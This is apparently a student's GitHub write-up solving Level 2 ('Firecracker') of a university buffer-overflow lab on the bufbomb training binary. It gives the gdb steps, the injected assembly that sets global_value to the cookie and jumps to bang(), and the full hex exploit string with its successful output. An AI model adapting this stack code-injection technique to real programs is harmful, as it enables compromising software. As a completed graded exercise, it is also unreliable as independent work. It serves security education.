Skip to content

Exploit_2.md

Latest commit

 

History

History
186 lines (154 loc) · 6.13 KB

Exploit_2.md

File metadata and controls

186 lines (154 loc) · 6.13 KB
Raw

Level 2: Firecracker ( Hai Dang )

A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine instructions. The exploit string then overwrites the return pointer with the starting address of these instructions on the stack. When the calling function ( in this case getbuf) executes its ret instruction, the program will start executing the instructions on the stack rather than returning. With this form of attack, you can get the program to do almost anything The code you place on the stack is called the exploit code. Specifically, in this exercise, the goal is:

  1. Make buffer overflow (Similarly level 0 and 1), and return register EIP to address stack
  2. Inject machine instructions onto the stack ( modify global_value with my cookie)
  3. Those instructions execute and then redirect to function bang()

In order to understand how this technique work: reference the link below

Exploit_Stack

Function_Call_Convention

Start:

1. Similar to previous Level , we need to the code executing the bang function.

Therefore, Finding the address function bang in BUFBOMB assembly

danghai@babbage:~/buflab-handout$ grep -i "bang" assembly.txt
08048c52 <bang>:

The address for bang function = 0x08048c52

2. Get information bang assembly and examine the stack

danghai@babbage:~/buflab-handout$ perl -e 'print "61 "x44,"52 8c 04 08 "'>hex3
danghai@babbage:~/buflab-handout$ ./hex2raw <hex3> raw3
danghai@babbage:~/buflab-handout$ gdb bufbomb
(gdb) break *0x08048c52
(gdb) run -u danghai <raw3
(gdb) disas

Assembly for bang function:

Dump of assembler code for function bang:
=> 0x08048c52 <+0>:	push   %ebp
   0x08048c53 <+1>:	mov    %esp,%ebp
   0x08048c55 <+3>:	sub    $0x18,%esp
   0x08048c58 <+6>:	mov    0x804c1ec,%eax
   0x08048c5d <+11>:	cmp    0x804c1e4,%eax
   0x08048c63 <+17>:	jne    0x8048c83 <bang+49>
   0x08048c65 <+19>:	mov    %eax,0x4(%esp)
   0x08048c69 <+23>:	movl   $0x804a0f4,(%esp)
   0x08048c70 <+30>:	call   0x80488e0 <printf@plt>
   0x08048c75 <+35>:	movl   $0x2,(%esp)
   0x08048c7c <+42>:	call   0x80490e8 <validate>
   0x08048c81 <+47>:	jmp    0x8048c93 <bang+65>
   0x08048c83 <+49>:	mov    %eax,0x4(%esp)
   0x08048c87 <+53>:	movl   $0x8049f13,(%esp)
   0x08048c8e <+60>:	call   0x80488e0 <printf@plt>
   0x08048c93 <+65>:	movl   $0x0,(%esp)
   0x08048c9a <+72>:	call   0x8048990 <exit@plt>
End of assembler dump.

3. Find the address of stack:

quit gdb, re-run gdb, but set breakpoint at getbuf+17:

danghai@babbage:~/buflab-handout$ gdb bufbomb
(gdb) break *getbuf+17
(gdb) run -u danghai <raw3
(gdb) disas

Assembly:

Dump of assembler code for function getbuf:
   0x080490ce <+0>:	push   %ebp
   0x080490cf <+1>:	mov    %esp,%ebp
   0x080490d1 <+3>:	sub    $0x38,%esp
   0x080490d4 <+6>:	lea    -0x28(%ebp),%eax
   0x080490d7 <+9>:	mov    %eax,(%esp)
   0x080490da <+12>:	call   0x8048b4a <Gets>
=> 0x080490df <+17>:	mov    $0x1,%eax
   0x080490e4 <+22>:	leave  
   0x080490e5 <+23>:	ret    
End of assembler dump.

Continue run 3 instruction (after instruction ret) to identify what is current address of stack:

(gdb) stepi 3
(gdb) print /x $esp
$1 = 0x556830d8

So the address of stack is: 0x556830d8 before calling function bang

4. Find the variable global_value:

(gdb) x/x &global_value 
0x804c1ec <global_value>:	0x00000000

Assembly for bang function:

Dump of assembler code for function bang:
=> 0x08048c52 <+0>:	push   %ebp
   0x08048c53 <+1>:	mov    %esp,%ebp
   0x08048c55 <+3>:	sub    $0x18,%esp
   0x08048c58 <+6>:	mov    0x804c1ec,%eax
   0x08048c5d <+11>:	cmp    0x804c1e4,%eax
   0x08048c63 <+17>:	jne    0x8048c83 <bang+49>
   0x08048c65 <+19>:	mov    %eax,0x4(%esp)
   0x08048c69 <+23>:	movl   $0x804a0f4,(%esp)
   0x08048c70 <+30>:	call   0x80488e0 <printf@plt>
   0x08048c75 <+35>:	movl   $0x2,(%esp)
   0x08048c7c <+42>:	call   0x80490e8 <validate>
   0x08048c81 <+47>:	jmp    0x8048c93 <bang+65>
   0x08048c83 <+49>:	mov    %eax,0x4(%esp)
   0x08048c87 <+53>:	movl   $0x8049f13,(%esp)
   0x08048c8e <+60>:	call   0x80488e0 <printf@plt>
   0x08048c93 <+65>:	movl   $0x0,(%esp)
   0x08048c9a <+72>:	call   0x8048990 <exit@plt>
End of assembler dump.

At bang+6 a mov instruction stores the value held at 0x804c1ec into %eax (global_value). This is then compared to the value at address 0x804c1e4 (location of the cookie). The goal is to replace the value at 0x804c1ec with my cookie, push the return address to bang() onto the stack, and then return quit gdb and create the file asm_Firecracker.s with contents:

movl $0x2b9b4cfd, 0x0804c1ec  --> replace value at address 0x0804c1ec with my cookie
pushl $0x08048c52	      --> push return address of bang onto stack	
ret			      --> Return

Compile the code and disassembly:

danghai@babbage:~/buflab-handout$ gcc -m32 -c asm_Firecracker.s
danghai@babbage:~/buflab-handout$ objdump -d asm_Firecracker.o > asm_Firecracker.d
danghai@babbage:~/cat asm_Firecracker.d

Get information:

Disassembly of section .text:

00000000 <.text>:
   0:	c7 05 ec c1 04 08 fd 	movl   $0x2b9b4cfd,0x804c1ec
   7:	4c 9b 2b 
   a:	68 52 8c 04 08       	push   $0x8048c52
   f:	c3                   	ret

5. Raw file and result:

Now, we have the hex representation of the assembly to modify the global_value we need to push these onto the stack and make them executed.

perl -e 'print "61 "x44, "d8 30 68 55 ", "c7 05 ec c1 04 08 fd 4c 9b 2b 68 52 8c 04 08 c3" ' > hex_level2

Buffer Overflow + Address Stack + Exploit Assembly.

Type:

danghai@babbage:~/buflab-handout$ ./hex2raw <hex_level2> raw_level2
danghai@babbage:~/buflab-handout$ ./bufbomb -u danghai < raw_level2

NICE! Result is:

danghai@babbage:~/buflab-handout$ ./bufbomb -u danghai < raw_level2
Userid: danghai
Cookie: 0x2b9b4cfd
Type string:Bang!: You set global_value to 0x2b9b4cfd
VALID
NICE JOB!

NEXT LEVEL